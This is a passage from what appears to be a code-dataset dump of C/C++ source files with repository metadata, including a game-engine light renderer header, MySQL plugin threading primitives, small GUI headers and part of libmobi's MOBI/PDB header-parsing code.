| 15.210526 | 48 | 0.730104 |
9d8047353c35fde89c4c9c230865271d40573a8a | 3,586 | h | C | LambdaEngine/Include/Rendering/LightRenderer.h | IbexOmega/CrazyCanvas | f60f01aaf9c988e4da8990dc1ef3caac20cecf7e | [
"MIT"
] | 18 | 2020-09-04T08:00:54.000Z | 2021-08-29T23:04:45.000Z | LambdaEngine/Include/Rendering/LightRenderer.h | IbexOmega/LambdaEngine | f60f01aaf9c988e4da8990dc1ef3caac20cecf7e | [
"MIT"
] | 32 | 2020-09-12T19:24:50.000Z | 2020-12-11T14:29:44.000Z | LambdaEngine/Include/Rendering/LightRenderer.h | IbexOmega/LambdaEngine | f60f01aaf9c988e4da8990dc1ef3caac20cecf7e | [
"MIT"
] | 2 | 2020-12-15T15:36:13.000Z | 2021-03-27T14:27:02.000Z | #pragma once
#include "RenderGraphTypes.h"
#include "CustomRenderer.h"
#include "Core/API/DescriptorCache.h"
namespace LambdaEngine
{
struct PushConstant
{
byte* pData = nullptr;
uint32 DataSize = 0;
uint32 Offset = 0;
uint32 MaxDataSize = 0;
};
struct PushConstantData
{
uint32 Iteration;
uint32 PointLightIndex;
};
struct LightUpdateData
{
uint32 PointLightIndex;
uint32 TextureIndex;
};
using ReleaseFrame = uint32;
using DescriptorSetIndex = uint32;
class LightRenderer : public CustomRenderer
{
public:
DECL_REMOVE_COPY(LightRenderer);
DECL_REMOVE_MOVE(LightRenderer);
LightRenderer();
~LightRenderer();
virtual bool Init() override final;
virtual bool RenderGraphInit(const CustomRendererRenderGraphInitDesc* pPreInitDesc) override final;
void PrepareTextureUpdates(const TArray<LightUpdateData>& textureIndices);
virtual void Update(Timestamp delta, uint32 modFrameIndex, uint32 backBufferIndex) override final;
virtual void UpdateTextureResource(const String& resourceName, const TextureView* const* ppPerImageTextureViews, const TextureView* const* ppPerSubImageTextureViews, const Sampler* const* ppPerImageSamplers, uint32 imageCount, uint32 subImageCount, bool backBufferBound) override final;
virtual void UpdateBufferResource(const String& resourceName, const Buffer* const* ppBuffers, uint64* pOffsets, uint64* pSizesInBytes, uint32 count, bool backBufferBound) override final;
virtual void UpdateDrawArgsResource(const String& resourceName, const DrawArg* pDrawArgs, uint32 count) override final;
virtual void Render(
uint32 modFrameIndex,
uint32 backBufferIndex,
CommandList** ppFirstExecutionStage,
CommandList** ppSecondaryExecutionStage,
bool Sleeping) override final;
FORCEINLINE virtual FPipelineStageFlag GetFirstPipelineStage() const override final { return FPipelineStageFlag::PIPELINE_STAGE_FLAG_VERTEX_SHADER; }
FORCEINLINE virtual FPipelineStageFlag GetLastPipelineStage() const override final { return FPipelineStageFlag::PIPELINE_STAGE_FLAG_PIXEL_SHADER; }
virtual const String& GetName() const override final
{
static String name = RENDER_GRAPH_LIGHT_STAGE_NAME;
return name;
}
private:
bool CreatePipelineLayout();
bool CreateDescriptorSets();
bool CreateShaders();
bool CreateCommandLists();
bool CreateRenderPass(RenderPassAttachmentDesc* pDepthStencilAttachmentDesc);
bool CreatePipelineState();
private:
bool m_Initilized = false;
const DrawArg* m_pDrawArgs = nullptr;
uint32 m_DrawCount = 0;
bool m_UsingMeshShader = false;
GUID_Lambda m_VertexShaderPointGUID = 0;
GUID_Lambda m_PixelShaderPointGUID = 0;
TSharedRef<CommandAllocator> m_CopyCommandAllocator = nullptr;
TSharedRef<CommandList> m_CopyCommandList = nullptr;
CommandAllocator** m_ppGraphicCommandAllocators = nullptr;
CommandList** m_ppGraphicCommandLists = nullptr;
TSharedRef<RenderPass> m_RenderPass = nullptr;
uint64 m_PipelineStateID = 0;
TSharedRef<PipelineLayout> m_PipelineLayout = nullptr;
TSharedRef<DescriptorHeap> m_DescriptorHeap = nullptr;
TSharedRef<DescriptorSet> m_LightDescriptorSet;
TArray<TSharedRef<DescriptorSet>> m_DrawArgsDescriptorSets;
DescriptorCache m_DescriptorCache;
uint32 m_BackBufferCount = 0;
TArray<LightUpdateData> m_TextureUpdateQueue;
TArray<TSharedRef<const TextureView>> m_PointLFaceViews;
PushConstant m_PushConstant;
private:
static LightRenderer* s_pInstance;
};
} | 32.306306 | 288 | 0.774122 |
c4d4d38c5422031de43ede35c84ff7db4bf69e18 | 8,359 | h | C | mysql-dst/mysql-cluster/rapid/plugin/x/ngs/include/ngs/thread.h | SJTU-IPADS/dst | 897b929a692642cbf295c105d9d6e64090abb673 | [
"Apache-2.0"
] | 9 | 2020-12-17T01:59:13.000Z | 2022-03-30T16:25:08.000Z | mysql-dst/mysql-cluster/rapid/plugin/x/ngs/include/ngs/thread.h | SJTU-IPADS/dst | 897b929a692642cbf295c105d9d6e64090abb673 | [
"Apache-2.0"
] | 1 | 2021-07-30T12:06:33.000Z | 2021-07-31T10:16:09.000Z | mysql-dst/mysql-cluster/rapid/plugin/x/ngs/include/ngs/thread.h | SJTU-IPADS/dst | 897b929a692642cbf295c105d9d6e64090abb673 | [
"Apache-2.0"
] | 1 | 2021-08-01T13:47:07.000Z | 2021-08-01T13:47:07.000Z | /*
* Copyright (c) 2015, 2016 Oracle and/or its affiliates. All rights reserved.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; version 2 of the
* License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA
*/
#ifndef _NGS_THREAD_H_
#define _NGS_THREAD_H_
#ifdef NGS_STANDALONE
# include <pthread.h>
#else
# include <my_thread.h>
# include <thr_mutex.h>
# include <thr_cond.h>
# include <mutex_lock.h>
# include "xpl_performance_schema.h"
#endif
#include <deque>
#include "ngs_common/bind.h"
namespace ngs
{
#ifdef NGS_STANDALONE
#else
typedef my_thread_handle Thread_t;
typedef my_thread_attr_t Thread_attr_t;
typedef my_start_routine Start_routine_t;
#endif
void thread_create(PSI_thread_key key, Thread_t *hread,
Start_routine_t func, void *arg);
int thread_join(Thread_t *thread, void * *ret);
class Mutex
{
public:
friend class Cond;
Mutex(PSI_mutex_key key = PSI_NOT_INSTRUMENTED);
~Mutex();
operator mysql_mutex_t*();
void lock()
{
mysql_mutex_lock(&m_mutex);
}
bool try_lock()
{
return mysql_mutex_trylock(&m_mutex);
}
void unlock()
{
mysql_mutex_unlock(&m_mutex);
}
private:
Mutex(const Mutex&);
Mutex& operator=(const Mutex&);
mysql_mutex_t m_mutex;
};
class RWLock
{
public:
RWLock(PSI_rwlock_key key = PSI_NOT_INSTRUMENTED);
~RWLock();
operator mysql_rwlock_t*() { return &m_rwlock; }
void rlock()
{
mysql_rwlock_rdlock(&m_rwlock);
}
void wlock()
{
mysql_rwlock_wrlock(&m_rwlock);
}
bool try_wlock()
{
return mysql_rwlock_trywrlock(&m_rwlock) == 0;
}
void unlock()
{
mysql_rwlock_unlock(&m_rwlock);
}
private:
RWLock(const RWLock&);
RWLock& operator=(const RWLock&);
mysql_rwlock_t m_rwlock;
};
class RWLock_readlock
{
public:
RWLock_readlock(RWLock &lock)
: m_lock(lock)
{
m_lock.rlock();
}
~RWLock_readlock()
{
m_lock.unlock();
}
private:
RWLock_readlock(const RWLock_readlock&);
RWLock_readlock& operator=(RWLock_readlock&);
RWLock &m_lock;
};
class RWLock_writelock
{
public:
RWLock_writelock(RWLock &lock, bool try_ = false)
: m_lock(lock)
{
if (try_)
m_locked = m_lock.try_wlock() == 0;
else
{
m_lock.wlock();
m_locked = true;
}
}
~RWLock_writelock()
{
m_lock.unlock();
}
bool locked() const { return m_locked; }
private:
RWLock_writelock(const RWLock_writelock&);
RWLock_writelock& operator=(RWLock_writelock&);
RWLock &m_lock;
bool m_locked;
};
class Cond
{
public:
Cond(PSI_cond_key key = PSI_NOT_INSTRUMENTED);
~Cond();
void wait(Mutex& mutex);
int timed_wait(Mutex& mutex, unsigned long long nanoseconds);
void signal();
void signal(Mutex& mutex);
void broadcast();
void broadcast(Mutex& mutex);
private:
Cond(const Cond&);
Cond& operator=(const Cond&);
mysql_cond_t m_cond;
};
template<typename Container, typename Locker, typename Lock>
class Locked_container
{
public:
Locked_container(Container &container, Lock &lock)
: m_lock(lock), m_ref(container)
{ }
Container &operator *()
{
return m_ref;
}
Container *operator ->()
{
return &m_ref;
}
Container *container()
{
return &m_ref;
}
private:
Locked_container(const Locked_container&);
Locked_container& operator=(const Locked_container&);
Locker m_lock;
Container &m_ref;
};
template<typename Variable_type>
class Sync_variable
{
public:
Sync_variable(const Variable_type value)
: m_value(value)
{
}
bool is(const Variable_type value_to_check)
{
Mutex_lock lock(m_mutex);
return value_to_check == m_value;
}
template<std::size_t NUM_OF_ELEMENTS>
bool is(const Variable_type (&expected_value)[NUM_OF_ELEMENTS])
{
Mutex_lock lock(m_mutex);
const Variable_type *begin_element = expected_value;
const Variable_type *end_element = expected_value + NUM_OF_ELEMENTS;
return find(begin_element, end_element, m_value);
}
bool exchange(const Variable_type expected_value, const Variable_type new_value)
{
Mutex_lock lock(m_mutex);
bool result = false;
if(expected_value == m_value)
{
m_value = new_value;
m_cond.signal();
result = true;
}
return result;
}
void set(const Variable_type new_value)
{
Mutex_lock lock(m_mutex);
m_value = new_value;
m_cond.signal();
}
Variable_type set_and_return_old(const Variable_type new_value)
{
Mutex_lock lock(m_mutex);
Variable_type old_value = m_value;
m_value = new_value;
m_cond.signal();
return old_value;
}
void wait_for(const Variable_type expected_value)
{
Mutex_lock lock(m_mutex);
while (m_value != expected_value)
{
m_cond.wait(m_mutex);
}
}
template<std::size_t NUM_OF_ELEMENTS>
void wait_for(const Variable_type (&expected_value)[NUM_OF_ELEMENTS])
{
Mutex_lock lock(m_mutex);
const Variable_type *begin_element = expected_value;
const Variable_type *end_element = expected_value + NUM_OF_ELEMENTS;
while (!find(begin_element, end_element, m_value)) // std::find doesn't work with (const int*)
{
m_cond.wait(m_mutex);
}
}
template<std::size_t NUM_OF_ELEMENTS>
void wait_for_and_set(const Variable_type (&expected_value)[NUM_OF_ELEMENTS], const Variable_type change_to)
{
Mutex_lock lock(m_mutex);
const Variable_type *begin_element = expected_value;
const Variable_type *end_element = expected_value + NUM_OF_ELEMENTS;
while (!find(begin_element, end_element, m_value)) // std::find doesn't work with (const int*)
{
m_cond.wait(m_mutex);
}
if (change_to != m_value)
{
m_value = change_to;
m_cond.signal();
}
}
protected:
bool find(const Variable_type *begin, const Variable_type *end, const Variable_type to_find)
{
const Variable_type *iterator = begin;
while(iterator < end)
{
if (to_find == *iterator)
return true;
++iterator;
}
return false;
}
Variable_type m_value;
Mutex m_mutex;
Cond m_cond;
};
class Wait_for_signal
{
public:
Wait_for_signal()
{
m_mutex_signal.lock();
m_mutex_execution.lock();
}
~Wait_for_signal()
{
m_mutex_signal.unlock();
}
void wait()
{
m_mutex_execution.unlock();
m_cond.wait(m_mutex_signal);
}
class Signal_when_done
{
public:
typedef ngs::function<void ()> Callback;
Signal_when_done(Wait_for_signal &signal_variable, Callback callback)
: m_signal_variable(signal_variable), m_callback(callback)
{
}
~Signal_when_done()
{
m_signal_variable.signal();
}
void execute()
{
m_signal_variable.begin_execution_ready();
m_callback();
Callback().swap(m_callback);
m_signal_variable.end_execution_ready();
}
private:
Wait_for_signal &m_signal_variable;
Callback m_callback;
};
protected:
void begin_execution_ready()
{
m_mutex_execution.lock();
}
void end_execution_ready()
{
m_mutex_execution.unlock();
}
void signal()
{
m_cond.signal(m_mutex_signal);
}
private:
Mutex m_mutex_signal;
Mutex m_mutex_execution;
Cond m_cond;
};
}
#endif
| 19.855107 | 112 | 0.638234 |
aca840acd0061c4e4a951f6f08cafac76d860a06 | 525 | h | C | Users/UIUtils.h | X547/HaikuUtils | 1921c2b58515bfc7650771794cb52f2108e78878 | [
"MIT"
] | 11 | 2020-03-05T03:09:15.000Z | 2021-12-18T18:19:59.000Z | Users/UIUtils.h | AleksFM/HaikuUtils | b0a86da3e51e8933ebfaf5545f552de142576268 | [
"MIT"
] | 10 | 2020-11-25T21:41:52.000Z | 2020-12-16T18:29:11.000Z | Users/UIUtils.h | AleksFM/HaikuUtils | b0a86da3e51e8933ebfaf5545f552de142576268 | [
"MIT"
] | 4 | 2020-03-03T22:59:23.000Z | 2022-01-31T12:59:07.000Z | #ifndef _UIUTILS_H_
#define _UIUTILS_H_
#include <MenuItem.h>
#include <private/shared/AutoDeleter.h>
class BBitmap;
class IconMenuItem: public BMenuItem
{
public:
IconMenuItem(BBitmap *bitmap, BMessage* message, char shortcut = 0, uint32 modifiers = 0);
IconMenuItem(BBitmap *bitmap, BMenu* menu, BMessage* message);
void GetContentSize(float* width, float* height);
void DrawContent();
private:
ObjectDeleter<BBitmap> fBitmap;
};
BBitmap *LoadIcon(int32 id, int32 width, int32 height);
#endif // _UIUTILS_H_
| 18.75 | 91 | 0.75619 |
5c9841382180db14ee27e587bc546e185a4f072d | 1,676 | h | C | inetcore/mshtml/src/time/include/importman.h | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | inetcore/mshtml/src/time/include/importman.h | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | inetcore/mshtml/src/time/include/importman.h | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | //+-----------------------------------------------------------------------------------
//
// Microsoft
// Copyright (c) Microsoft Corporation, 1999
//
// File: src\time\src\importman.h
//
// Contents: declaration for CImportManager, CImportManagerList
//
//------------------------------------------------------------------------------------
#pragma once
#ifndef _IMPORTMAN_H
#define _IMPORTMAN_H
#include "threadsafelist.h"
#include "atomtable.h"
class CImportManager;
static const LONG NUMBER_THREADS_TO_SPAWN = 2;
CImportManager* GetImportManager(void);
class CImportManagerList :
public CThreadSafeList
{
public:
CImportManagerList();
virtual ~CImportManagerList();
virtual HRESULT Add(ITIMEImportMedia * pImportMedia);
protected:
HRESULT FindMediaDownloader(ITIMEImportMedia * pImportMedia, ITIMEMediaDownloader** ppDownloader, bool * pfExisted);
HRESULT GetNode(std::list<CThreadSafeListNode*> &listToCheck, const long lID, bool * pfExisted, ITIMEMediaDownloader ** ppMediaDownloader);
};
class CImportManager
{
public:
CImportManager();
virtual ~CImportManager();
HRESULT Init();
HRESULT Detach();
HRESULT Add(ITIMEImportMedia * pImportMedia);
HRESULT Remove(ITIMEImportMedia * pImportMedia);
HRESULT DataAvailable();
HRESULT RePrioritize(ITIMEImportMedia * pImportMedia);
protected:
CImportManager(const CImportManager&);
HRESULT StartThreads();
private:
HANDLE m_handleThread[NUMBER_THREADS_TO_SPAWN];
CImportManagerList * m_pList;
LONG m_lThreadsStarted;
};
#endif // _IMPORTMAN_H
| 23.942857 | 144 | 0.633055 |
b1c610376e66094c9735d4cd7b963f9ecfcbf291 | 413 | h | C | GUI/GUIDrawables/GUIDrawable.h | Ahmed-Abdelkarim/Restaurant-Simulation-master | 1202686327db23b9d087155d59725fdea53b32a6 | [
"MIT"
] | null | null | null | GUI/GUIDrawables/GUIDrawable.h | Ahmed-Abdelkarim/Restaurant-Simulation-master | 1202686327db23b9d087155d59725fdea53b32a6 | [
"MIT"
] | null | null | null | GUI/GUIDrawables/GUIDrawable.h | Ahmed-Abdelkarim/Restaurant-Simulation-master | 1202686327db23b9d087155d59725fdea53b32a6 | [
"MIT"
] | null | null | null | #pragma once
#include<SFML\Graphics.hpp>
#include"..\GUIDefs.h"
class GUIDrawable
{
private:
// LOGIC paramters
int ID;
GUI_REGION currentRegion;
// GUI parameters
const int textSize = 18;
public:
GUIDrawable(int id, GUI_REGION currentRegion);
virtual sf::Text* getGUIElement(sf::Font* font, float positionX, float positionY) = 0;
int getID();
GUI_REGION getCurrentRegion();
int getTextSize();
};
| 16.52 | 87 | 0.728814 |
38ce85260d7ff7414d617bd3a9f458abade71a23 | 33,771 | c | C | eramobi/src/read.c | Mimars-Project/OpenReadEra-20.03.26 | 8db0c096e681947d02fa15c3eaa283e389ccf8a9 | [
"FTL"
] | null | null | null | eramobi/src/read.c | Mimars-Project/OpenReadEra-20.03.26 | 8db0c096e681947d02fa15c3eaa283e389ccf8a9 | [
"FTL"
] | null | null | null | eramobi/src/read.c | Mimars-Project/OpenReadEra-20.03.26 | 8db0c096e681947d02fa15c3eaa283e389ccf8a9 | [
"FTL"
] | 1 | 2021-07-21T07:50:33.000Z | 2021-07-21T07:50:33.000Z | /** @file read.c
* @brief Functions for reading and parsing of MOBI document
*
* Copyright (c) 2014 Bartek Fabiszewski
* http://www.fabiszewski.net
*
* This file is part of libmobi.
* Licensed under LGPL, either version 3, or any later.
* See <http://www.gnu.org/licenses/>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "read.h"
#include "util.h"
#include "index.h"
#include "debug.h"
/**
@brief Read palm database header from file into MOBIData structure (MOBIPdbHeader)
@param[in,out] m MOBIData structure to be filled with read data
@param[in] file Filedescriptor to read from
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_load_pdbheader(MOBIData *m, FILE *file) {
if (m == NULL) {
debug_print("%s", "Mobi structure not initialized\n");
return MOBI_INIT_FAILED;
}
if (!file) {
return MOBI_FILE_NOT_FOUND;
}
MOBIBuffer *buf = buffer_init(PALMDB_HEADER_LEN);
if (buf == NULL) {
debug_print("%s\n", "Memory allocation failed");
return MOBI_MALLOC_FAILED;
}
const size_t len = fread(buf->data, 1, PALMDB_HEADER_LEN, file);
if (len != PALMDB_HEADER_LEN) {
buffer_free(buf);
return MOBI_DATA_CORRUPT;
}
m->ph = calloc(1, sizeof(MOBIPdbHeader));
if (m->ph == NULL) {
debug_print("%s", "Memory allocation for pdb header failed\n");
buffer_free(buf);
return MOBI_MALLOC_FAILED;
}
/* parse header */
buffer_getstring(m->ph->name, buf, PALMDB_NAME_SIZE_MAX);
m->ph->attributes = buffer_get16(buf);
m->ph->version = buffer_get16(buf);
m->ph->ctime = buffer_get32(buf);
m->ph->mtime = buffer_get32(buf);
m->ph->btime = buffer_get32(buf);
m->ph->mod_num = buffer_get32(buf);
m->ph->appinfo_offset = buffer_get32(buf);
m->ph->sortinfo_offset = buffer_get32(buf);
buffer_getstring(m->ph->type, buf, 4);
buffer_getstring(m->ph->creator, buf, 4);
m->ph->uid = buffer_get32(buf);
m->ph->next_rec = buffer_get32(buf);
m->ph->rec_count = buffer_get16(buf);
buffer_free(buf);
return MOBI_SUCCESS;
}
/**
@brief Read list of database records from file into MOBIData structure (MOBIPdbRecord)
@param[in,out] m MOBIData structure to be filled with read data
@param[in] file Filedescriptor to read from
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_load_reclist(MOBIData *m, FILE *file) {
if (m == NULL) {
debug_print("%s", "Mobi structure not initialized\n");
return MOBI_INIT_FAILED;
}
if (!file) {
debug_print("%s", "File not ready\n");
return MOBI_FILE_NOT_FOUND;
}
m->rec = calloc(1, sizeof(MOBIPdbRecord));
if (m->rec == NULL) {
debug_print("%s", "Memory allocation for pdb record failed\n");
return MOBI_MALLOC_FAILED;
}
MOBIPdbRecord *curr = m->rec;
for (int i = 0; i < m->ph->rec_count; i++) {
MOBIBuffer *buf = buffer_init(PALMDB_RECORD_INFO_SIZE);
if (buf == NULL) {
debug_print("%s\n", "Memory allocation failed");
return MOBI_MALLOC_FAILED;
}
const size_t len = fread(buf->data, 1, PALMDB_RECORD_INFO_SIZE, file);
if (len != PALMDB_RECORD_INFO_SIZE) {
buffer_free(buf);
return MOBI_DATA_CORRUPT;
}
if (i > 0) {
curr->next = calloc(1, sizeof(MOBIPdbRecord));
if (curr->next == NULL) {
debug_print("%s", "Memory allocation for pdb record failed\n");
buffer_free(buf);
return MOBI_MALLOC_FAILED;
}
curr = curr->next;
}
curr->offset = buffer_get32(buf);
curr->attributes = buffer_get8(buf);
const uint8_t h = buffer_get8(buf);
const uint16_t l = buffer_get16(buf);
curr->uid = (uint32_t) h << 16 | l;
curr->next = NULL;
buffer_free(buf);
}
return MOBI_SUCCESS;
}
/**
@brief Read record data and size from file into MOBIData structure (MOBIPdbRecord)
@param[in,out] m MOBIData structure to be filled with read data
@param[in] file Filedescriptor to read from
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_load_rec(MOBIData *m, FILE *file) {
MOBI_RET ret;
if (m == NULL) {
debug_print("%s", "Mobi structure not initialized\n");
return MOBI_INIT_FAILED;
}
MOBIPdbRecord *curr = m->rec;
while (curr != NULL) {
MOBIPdbRecord *next;
size_t size;
if (curr->next != NULL) {
next = curr->next;
size = next->offset - curr->offset;
} else {
fseek(file, 0, SEEK_END);
long diff = ftell(file) - curr->offset;
if (diff <= 0) {
debug_print("Wrong record size: %li\n", diff);
return MOBI_DATA_CORRUPT;
}
size = (size_t) diff;
next = NULL;
}
curr->size = size;
ret = mobi_load_recdata(curr, file);
if (ret != MOBI_SUCCESS) {
debug_print("Error loading record uid %i data\n", curr->uid);
mobi_free_rec(m);
return ret;
}
curr = next;
}
return MOBI_SUCCESS;
}
/**
@brief Read record data from file into MOBIPdbRecord structure
@param[in,out] rec MOBIPdbRecord structure to be filled with read data
@param[in] file Filedescriptor to read from
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_load_recdata(MOBIPdbRecord *rec, FILE *file) {
const int ret = fseek(file, rec->offset, SEEK_SET);
if (ret != 0) {
debug_print("Record %i not found\n", rec->uid);
return MOBI_DATA_CORRUPT;
}
rec->data = malloc(rec->size);
if (rec->data == NULL) {
debug_print("%s", "Memory allocation for pdb record data failed\n");
return MOBI_MALLOC_FAILED;
}
const size_t len = fread(rec->data, 1, rec->size, file);
if (len < rec->size) {
debug_print("Truncated data in record %i\n", rec->uid);
return MOBI_DATA_CORRUPT;
}
return MOBI_SUCCESS;
}
/**
@brief Parse EXTH header from Record 0 into MOBIData structure (MOBIExthHeader)
@param[in,out] m MOBIData structure to be filled with parsed data
@param[in] buf MOBIBuffer buffer to read from
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_parse_extheader(MOBIData *m, MOBIBuffer *buf) {
if (m == NULL) {
debug_print("%s", "Mobi structure not initialized\n");
return MOBI_INIT_FAILED;
}
char exth_magic[5];
const size_t header_length = 12;
buffer_getstring(exth_magic, buf, 4);
const size_t exth_length = buffer_get32(buf) - header_length;
const size_t rec_count = buffer_get32(buf);
if (strncmp(exth_magic, EXTH_MAGIC, 4) != 0 ||
exth_length + buf->offset > buf->maxlen ||
rec_count == 0 || rec_count > MOBI_EXTH_MAXCNT) {
debug_print("%s", "Sanity checks for EXTH header failed\n");
return MOBI_DATA_CORRUPT;
}
const size_t saved_maxlen = buf->maxlen;
buf->maxlen = exth_length + buf->offset;
m->eh = calloc(1, sizeof(MOBIExthHeader));
if (m->eh == NULL) {
debug_print("%s", "Memory allocation for EXTH header failed\n");
return MOBI_MALLOC_FAILED;
}
MOBIExthHeader *curr = m->eh;
for (size_t i = 0; i < rec_count; i++) {
if (curr->data) {
curr->next = calloc(1, sizeof(MOBIExthHeader));
if (curr->next == NULL) {
debug_print("%s", "Memory allocation for EXTH header failed\n");
mobi_free_eh(m);
return MOBI_MALLOC_FAILED;
}
curr = curr->next;
}
curr->tag = buffer_get32(buf);
/* data size = record size minus 8 bytes for uid and size */
curr->size = buffer_get32(buf) - 8;
if (curr->size == 0) {
debug_print("Skip record %i, data too short\n", curr->tag);
continue;
}
if (buf->offset + curr->size > buf->maxlen) {
debug_print("Record %i too long\n", curr->tag);
mobi_free_eh(m);
return MOBI_DATA_CORRUPT;
}
curr->data = malloc(curr->size);
if (curr->data == NULL) {
debug_print("Memory allocation for EXTH record %i failed\n", curr->tag);
mobi_free_eh(m);
return MOBI_MALLOC_FAILED;
}
buffer_getraw(curr->data, buf, curr->size);
curr->next = NULL;
}
buf->maxlen = saved_maxlen;
return MOBI_SUCCESS;
}
/**
@brief Parse MOBI header from Record 0 into MOBIData structure (MOBIMobiHeader)
@param[in,out] m MOBIData structure to be filled with parsed data
@param[in] buf MOBIBuffer buffer to read from
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_parse_mobiheader(MOBIData *m, MOBIBuffer *buf) {
int isKF8 = 0;
if (m == NULL) {
debug_print("%s", "Mobi structure not initialized\n");
return MOBI_INIT_FAILED;
}
m->mh = calloc(1, sizeof(MOBIMobiHeader));
if (m->mh == NULL) {
debug_print("%s", "Memory allocation for MOBI header failed\n");
return MOBI_MALLOC_FAILED;
}
buffer_getstring(m->mh->mobi_magic, buf, 4);
buffer_dup32(&m->mh->header_length, buf);
if (strcmp(m->mh->mobi_magic, MOBI_MAGIC) != 0 || m->mh->header_length == NULL) {
debug_print("%s", "MOBI header not found\n");
mobi_free_mh(m->mh);
m->mh = NULL;
return MOBI_DATA_CORRUPT;
}
const size_t saved_maxlen = buf->maxlen;
/* some old files declare zero length mobi header, try to read first 24 bytes anyway */
uint32_t header_length = (*m->mh->header_length > 0) ? *m->mh->header_length : 24;
/* read only declared MOBI header length (curr offset minus 8 already read bytes) */
buf->maxlen = header_length + buf->offset - 8;
buffer_dup32(&m->mh->mobi_type, buf);
uint32_t encoding = buffer_get32(buf);
if (encoding == 1252) {
m->mh->text_encoding = malloc(sizeof(MOBIEncoding));
if (m->mh->text_encoding == NULL) {
debug_print("%s", "Memory allocation for MOBI header failed\n");
return MOBI_MALLOC_FAILED;
}
*m->mh->text_encoding = MOBI_CP1252;
}
else if (encoding == 65001) {
m->mh->text_encoding = malloc(sizeof(MOBIEncoding));
if (m->mh->text_encoding == NULL) {
debug_print("%s", "Memory allocation for MOBI header failed\n");
return MOBI_MALLOC_FAILED;
}
*m->mh->text_encoding = MOBI_UTF8;
} else {
debug_print("Unknown encoding in mobi header: %i\n", encoding);
}
buffer_dup32(&m->mh->uid, buf);
buffer_dup32(&m->mh->version, buf);
if (header_length >= MOBI_HEADER_V7_SIZE
&& m->mh->version && *m->mh->version == 8) {
isKF8 = 1;
}
buffer_dup32(&m->mh->orth_index, buf);
buffer_dup32(&m->mh->infl_index, buf);
buffer_dup32(&m->mh->names_index, buf);
buffer_dup32(&m->mh->keys_index, buf);
buffer_dup32(&m->mh->extra0_index, buf);
buffer_dup32(&m->mh->extra1_index, buf);
buffer_dup32(&m->mh->extra2_index, buf);
buffer_dup32(&m->mh->extra3_index, buf);
buffer_dup32(&m->mh->extra4_index, buf);
buffer_dup32(&m->mh->extra5_index, buf);
buffer_dup32(&m->mh->non_text_index, buf);
buffer_dup32(&m->mh->full_name_offset, buf);
buffer_dup32(&m->mh->full_name_length, buf);
buffer_dup32(&m->mh->locale, buf);
buffer_dup32(&m->mh->dict_input_lang, buf);
buffer_dup32(&m->mh->dict_output_lang, buf);
buffer_dup32(&m->mh->min_version, buf);
buffer_dup32(&m->mh->image_index, buf);
buffer_dup32(&m->mh->huff_rec_index, buf);
buffer_dup32(&m->mh->huff_rec_count, buf);
buffer_dup32(&m->mh->datp_rec_index, buf);
buffer_dup32(&m->mh->datp_rec_count, buf);
buffer_dup32(&m->mh->exth_flags, buf);
buffer_seek(buf, 32); /* 32 unknown bytes */
buffer_dup32(&m->mh->unknown6, buf);
buffer_dup32(&m->mh->drm_offset, buf);
buffer_dup32(&m->mh->drm_count, buf);
buffer_dup32(&m->mh->drm_size, buf);
buffer_dup32(&m->mh->drm_flags, buf);
buffer_seek(buf, 8); /* 8 unknown bytes */
if (isKF8) {
buffer_dup32(&m->mh->fdst_index, buf);
} else {
buffer_dup16(&m->mh->first_text_index, buf);
buffer_dup16(&m->mh->last_text_index, buf);
}
buffer_dup32(&m->mh->fdst_section_count, buf);
buffer_dup32(&m->mh->fcis_index, buf);
buffer_dup32(&m->mh->fcis_count, buf);
buffer_dup32(&m->mh->flis_index, buf);
buffer_dup32(&m->mh->flis_count, buf);
buffer_dup32(&m->mh->unknown10, buf);
buffer_dup32(&m->mh->unknown11, buf);
buffer_dup32(&m->mh->srcs_index, buf);
buffer_dup32(&m->mh->srcs_count, buf);
buffer_dup32(&m->mh->unknown12, buf);
buffer_dup32(&m->mh->unknown13, buf);
buffer_seek(buf, 2); /* 2 byte fill */
buffer_dup16(&m->mh->extra_flags, buf);
buffer_dup32(&m->mh->ncx_index, buf);
if (isKF8) {
buffer_dup32(&m->mh->fragment_index, buf);
buffer_dup32(&m->mh->skeleton_index, buf);
} else {
buffer_dup32(&m->mh->unknown14, buf);
buffer_dup32(&m->mh->unknown15, buf);
}
buffer_dup32(&m->mh->datp_index, buf);
if (isKF8) {
buffer_dup32(&m->mh->guide_index, buf);
} else {
buffer_dup32(&m->mh->unknown16, buf);
}
buffer_dup32(&m->mh->unknown17, buf);
buffer_dup32(&m->mh->unknown18, buf);
buffer_dup32(&m->mh->unknown19, buf);
buffer_dup32(&m->mh->unknown20, buf);
if (buf->maxlen > buf->offset) {
debug_print("Skipping %zu unknown bytes in MOBI header\n", (buf->maxlen - buf->offset));
buffer_setpos(buf, buf->maxlen);
}
buf->maxlen = saved_maxlen;
/* get full name stored at m->mh->full_name_offset */
if (m->mh->full_name_offset && m->mh->full_name_length) {
const size_t saved_offset = buf->offset;
const uint32_t full_name_length = min(*m->mh->full_name_length, MOBI_TITLE_SIZEMAX);
buffer_setpos(buf, *m->mh->full_name_offset);
